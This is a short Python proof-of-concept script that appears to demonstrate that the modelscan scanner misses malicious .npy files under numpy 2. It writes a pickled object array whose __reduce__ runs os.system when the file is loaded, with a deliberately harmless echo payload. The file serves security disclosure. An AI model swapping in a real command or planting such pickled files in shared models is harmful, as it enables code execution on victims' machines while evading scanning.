File size: 612 Bytes
ec301d9
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
"""
PoC - modelscan 0.8.8 fails OPEN on .npy when numpy >= 2 is installed.
Payload is DELIBERATELY HARMLESS: it runs `echo NPY_EXEC_OK`. No network,
no deletion, nothing outside the working directory.
"""
import numpy as np, os

class Marker:
    def __reduce__(self):
        return (os.system, ("echo NPY_EXEC_OK",))

def build(path="poc_object_array.npy"):
    np.save(path, np.array([Marker()], dtype=object), allow_pickle=True)
    return os.path.getsize(path)

if __name__ == "__main__":
    print("wrote %s (%d bytes), numpy %s" % ("poc_object_array.npy", build(), np.__version__))